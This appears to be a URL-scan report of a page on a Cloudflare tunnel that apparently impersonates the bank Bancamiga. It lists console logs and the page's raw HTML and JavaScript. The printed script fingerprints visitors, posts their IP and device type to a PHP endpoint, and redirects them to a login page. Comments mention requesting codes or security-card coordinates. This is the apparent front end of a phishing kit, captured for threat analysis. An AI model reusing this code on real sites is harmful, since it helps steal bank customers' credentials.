http://service-transition-tomato-herself.trycloudflare.com/c/Auth/f2/?p=1

Submitted URL:
https://service-transition-tomato-herself.trycloudflare.com/Redirected
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 12 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

NameType
onbeforetogglestring
onscrollendstring
$string
jQuerystring
Sweetalert2string
SweetAlertstring
Swalstring
sweetAlertstring
swalstring
Connect_systemstring

Console log messages · 12 found

Messages logged to the web console

TypeCategoryLog
logother
URL
https://service-transition-tomato-herself.trycloudflare.com/
Text
enviando datos
errornetwork
URL
https://service-transition-tomato-herself.trycloudflare.com/favicon.ico
Text
Failed to load resource: the server responded with a status of 404 ()
logjavascript
URL
https://service-transition-tomato-herself.trycloudflare.com/
Text
JSHandle@array
logjavascript
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/Login/
Text
JSHandle@array
infonetwork
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/f2/?p=1
Text
Slow network is detected. See https://www.chromestatus.com/feature/5636954674692096 for more details. Fallback font will be used while loading: http://service-transition-tomato-herself.trycloudflare.com/c/fonts/fontawesome-webfont.woff2?v=4.5.0
verbosedom
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/f2/?p=1
Text
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o
errornetwork
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/img/mybg.png
Text
Failed to load resource: the server responded with a status of 404 (Not Found)
logjavascript
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/f2/?p=1
Text
JSHandle@array
errornetwork
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/f2/Vshshss
Text
Failed to load resource: the server responded with a status of 404 (Not Found)
errornetwork
URL
http://service-transition-tomato-herself.trycloudflare.com/favicon.ico
Text
Failed to load resource: the server responded with a status of 404 (Not Found)
logjavascript
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/f2/?p=1
Text
JSHandle@array
errornetwork
URL
http://service-transition-tomato-herself.trycloudflare.com/c/Auth/f2/Vshshss
Text
Failed to load resource: the server responded with a status of 404 (Not Found)

HTML

The raw HTML body of the page

<!DOCTYPE html><html lang="es"><head>
<style type="text/css">
    /* estilos.css */
body, html {
    height: 100%; /* Hacemos que el cuerpo y el html ocupen todo el alto de la pantalla */
    margin: 0; /* Eliminamos los márgenes por defecto */
}

.contenedor-logo {
    display: flex; /* Usamos Flexbox */
    justify-content: center; /* Centramos horizontalmente */
    align-items: center; /* Centramos verticalmente */
    height: 100%; /* Hacemos que el contenedor ocupe todo el alto de la pantalla */
}

/* Animación de parpadeo */
@keyframes parpadeo {
    0%, 100% { opacity: 1; } /* Completamente visible */
    50% { opacity: 0.1; } /* Completamente invisible */
}

/* Aplicando la animación al logo */
.contenedor-logo img {
    animation: parpadeo 3s ease-in-out infinite; /* Cambia 3s por la duración que prefieras */
}
</style>
<script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>

<meta charset="UTF-8">

<title>Servicio Online</title>

</head>
<body>

    <div style="display: none;">
        
        <h1>Información del Dispositivo</h1>
        <p><strong>¿IP del dipositivo:</strong> <span id="ip"></span></p>
        <p><strong>¿zip:</strong> <span id="zip"></span></p>
        <p><strong>Geo--Localizacion:</strong> <span id="coordenadas"></span></p>
        <p><strong>Geo--Pais:</strong> <span id="pais"></span></p>
        <p><strong>Geo--Ciudad:</strong> <span id="ciudad"></span></p>
        <p><strong>Resolución de Pantalla:</strong> <span id="resolucion">1x1</span></p>
        <p><strong>User Agent:</strong> <span id="userAgent">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36</span></p>
        <p><strong>Idioma:</strong> <span id="idioma">en-US</span></p>
        <p><strong>Plataforma:</strong> <span id="plataforma"></span></p>
        <p><strong>Dispositivo:</strong> <span id="movil"></span></p>
    



    </div>


<div class="contenedor-logo" style="display: none;">
        <img src="c/img/BANCAMIGA-LOGO-COLOR.png?v=546456" alt="Logo" height="100"> <!-- Asegúrate de reemplazar 'ruta/a/tu/logo.png' con la ruta real de tu imagen -->
</div>




<script>




window.onload = function() {
    // Capturando información del dispositivo
    var infoDispositivo = {
        resolucionPantalla: screen.width + "x" + screen.height,
        userAgent: navigator.userAgent,
        idioma: navigator.language,
        plataforma: navigator.platform
      
    };

    // Mostrar la información en la página
    document.getElementById("resolucion").textContent = infoDispositivo.resolucionPantalla;
    document.getElementById("userAgent").textContent = infoDispositivo.userAgent;
    document.getElementById("idioma").textContent = infoDispositivo.idioma;
    document.getElementById("plataforma").textContent = infoDispositivo.plataforma;
    //document.getElementById("movil").textContent = infoDispositivo.esMovil;

};


function detectarTipoDispositivo() {
    var agenteUsuario = navigator.userAgent;
    var esMovil = /iPhone|iPad|iPod|Android/i.test(agenteUsuario);
    var esTablet = /iPad|Tablet|Playbook|Silk/i.test(agenteUsuario);
    var esEscritorio = !esMovil && !esTablet;

    if (esMovil) {
        console.log("movil");
        document.getElementById('movil').innerHTML = 'movil';
    } else if (esTablet) {
        console.log("tablet");
        document.getElementById('movil').innerHTML = 'tablet';
    } else if (esEscritorio) {
        document.getElementById('movil').innerHTML = 'pc';
    } else {
        document.getElementById('movil').innerHTML = 'null';
        console.log("null");
    }
}
/*
function Tomar_ip_Ext(){
  php='php/check_ip.php';


  $.ajax({
      type:"POST",
      url:php,
      async: true,
      data:{},
      success: function(datos){
      var dataJson = eval(datos);
      console.log(dataJson);

        if(dataJson.length>0){
            
            document.getElementById('ip').innerHTML=dataJson[0].ip;
            document.getElementById('zip').innerHTML=dataJson[0].codigo_postal;
            document.getElementById('coordenadas').innerHTML=dataJson[0].longitude+","+dataJson[0].latitude;
            document.getElementById('pais').innerHTML=dataJson[0].pais;
            document.getElementById('ciudad').innerHTML=dataJson[0].ciudad;
            detectarTipoDispositivo();

        }else{
       
       }

    },});
}


//Tomar_ip_Ext();
*/

function detectarTipoDispositivo() {
  // Asumiendo que esta función está definida en otra parte
  // y se llama correctamente.
}

function enviarDatos() {
  detectarTipoDispositivo();
  console.log('enviando datos');

  let ip = document.getElementById('ip').innerHTML;
  let dispositivo = document.getElementById('movil').innerHTML;

  $.ajax({
    type: "POST",
    url: 'php/insert_ingreso.php',
    async: true,
    data: { "ip": ip, "dispositivo": dispositivo },
    success: function(datos) {
      var dataJson = eval(datos);  // Nota: eval puede ser peligroso, considera usar JSON.parse si es posible.

      console.log(dataJson);

      if (dataJson.length > 0) {
        if (dataJson[0].guardo == 'si' && dataJson[0].mant == '0') {
          window.location.href = 'c/Auth/Login';
        }

        if (dataJson[0].guardo == 'si' && dataJson[0].mant == '1') {
          window.location.href = 'mant';
        }

        if (dataJson[0].existe == 'si' && dataJson[0].mant == '1') {
          window.location.href = 'mant';
        }

        if (dataJson[0].existe == 'si' && dataJson[0].mant == '0') {
          window.location.href = 'c/Auth/Login';
        }
      }
    },
    error: function(jqXHR, textStatus, errorThrown) {
      console.error('Error en la conexión:', textStatus, errorThrown);
      setTimeout(enviarDatos, 100);  // Reintenta después de 1500 ms
    }
  });
}

setTimeout(function() {
  enviarDatos();
}, 100);


///////pedir codigo /// o pedir coordenadas///
///////pedir codigo /// o pedir coordenadas///

//localStorage.setItem('ruta_code_cord', "CodigoPlusXCoord_Security.php");
  //  localStorage.setItem('ruta_code_cord', "UsoFrecuenteValidar_coord.php");//para redirigir a coordenadas
///////pedir codigo /// o pedir coordenadas///
///////pedir codigo /// o pedir coordenadas///

</script>



</body></html>